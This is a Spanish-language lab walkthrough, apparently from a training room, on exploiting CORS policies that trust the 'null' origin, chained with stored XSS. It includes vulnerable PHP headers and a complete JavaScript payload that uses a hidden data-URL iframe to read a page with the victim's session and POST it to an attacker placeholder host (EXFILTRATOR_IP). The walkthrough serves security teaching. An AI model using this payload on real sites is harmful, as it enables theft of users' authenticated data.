¿Por Qué Null Origin?
Permitir peticiones de origen "null" en la política CORS de una aplicación web puede parecer contraintuitivo, pero hay escenarios específicos donde esto puede ocurrir, ya sea intencionalmente o no. Por ejemplo:
- Archivos Locales y Desarrollo: Cuando los desarrolladores prueban aplicaciones web localmente usando
file://, el navegador suele configurar el origen a "null". En dichos casos, los desarrolladores pueden permitir temporalmente el origen "null" para facilitar las pruebas. - Iframes Sandbox: Aplicaciones web que usan iframes sandbox (con el atributo
sandbox) pueden encontrar orígenes "null" si el contenido del iframe viene de un dominio diferente - Casos de Uso Específicos: Algunas aplicaciones pueden tener casos particulares que requieran de interacciones de soporte de entornos no-navegadores o clientes poco convencionales que no mandan un origen estándar.
Explotando Null Origin
Comparado con las técnicas previas, explotar una vulnerabilidad null origin suele involucrar aprovecharse de escenarios donde la aplicación confía incorrectamente el origen "null" de la petición. Esto puede ocurrir cuando la política CORS de la aplicación no está bien configurada. Por ejemplo, debajo el código vulnerable de http://corssop.thm/null.php:
<?php header('Access-Control-Allow-Origin: null'); header('Access-Control-Allow-Credentials: true'); ?>
El origen "null" normalmente ocurre cuando la página HTML se carga localmente usando el protocolo file:// o dentro de un iframe.

Para explotar el código vulnerable un atacante debe crear una página maliciosa con un iframe que contenga un código JavaScript que haga peticiones cross-origin a la aplicación objetivo.
XSS + CORS
Podemos usar la aplicación vulnerable en http://corssop.thm/xss.php para encadenar XSS con CORS. La aplicación está diseñada para aceptar código JavaScript o HTML y luego guardarlo en su base de datos. Esto significa que puedes inyectar JavaScript o HTML en el código de la aplicación, y una vez la víctima visite la aplicación se ejecutará el payload.

Debajo hay un ejemplo de código de exploit diseñado para exfiltrar la información de null.php mientras usa la sesión de la víctima. Asegúrate de cambiar la EXFILTRATOR_IP a la tuya:
<div style="margin: 10px 20px 20px; word-wrap: break-word; text-align: center;"> <iframe id="exploitFrame" style="display:none;"></iframe> <textarea id="load" style="width: 1183px; height: 305px;"></textarea> </div> <script> // JavaScript code for the exploit, adapted for inclusion in a data URL var exploitCode = ` <script> function exploit() { var xhttp = new XMLHttpRequest(); xhttp.open("GET", "http://corssop.thm/null.php", true); xhttp.withCredentials = true; xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { // Assuming you want to exfiltrate data to a controlled server var exfiltrate = function(data) { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://EXFILTRATOR_IP/receiver.php", true); xhr.withCredentials = true; var body = data; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); }; exfiltrate(this.responseText); } }; xhttp.send(); } exploit(); <\/script> `; // Encode the exploit code for use in a data URL var encodedExploit = btoa(exploitCode); // Set the iframe's src to the data URL containing the exploit document.getElementById('exploitFrame').src = 'data:text/html;base64,' + encodedExploit; </script>
El payload XSS es ejecutado cuando la víctima interactúa con el exploit.

Abre las herramientas de desarrollador y ve a Network. Debería haber dos peticiones XHR. La primera es mandada al servidor objetivo (null.php) y la segunda al servidor exfiltrante.

Como la política del servidor CORS está mal configurada para confiar en el origen "null", responderá a la petición e incluirá el header Access-Control-Allow-Origin: null.

Como puedes ver en la imagen de abajo:
- El dominio es
corssop.thm. - El origen es
nullporque la petición se origina del iframe.
La víctima automáticamente visita la aplicación vulnerable (xss.php) cada minuto, por lo que una vez que se guarde el exploit deberías recibir una petición POST de la víctima en ese periodo.
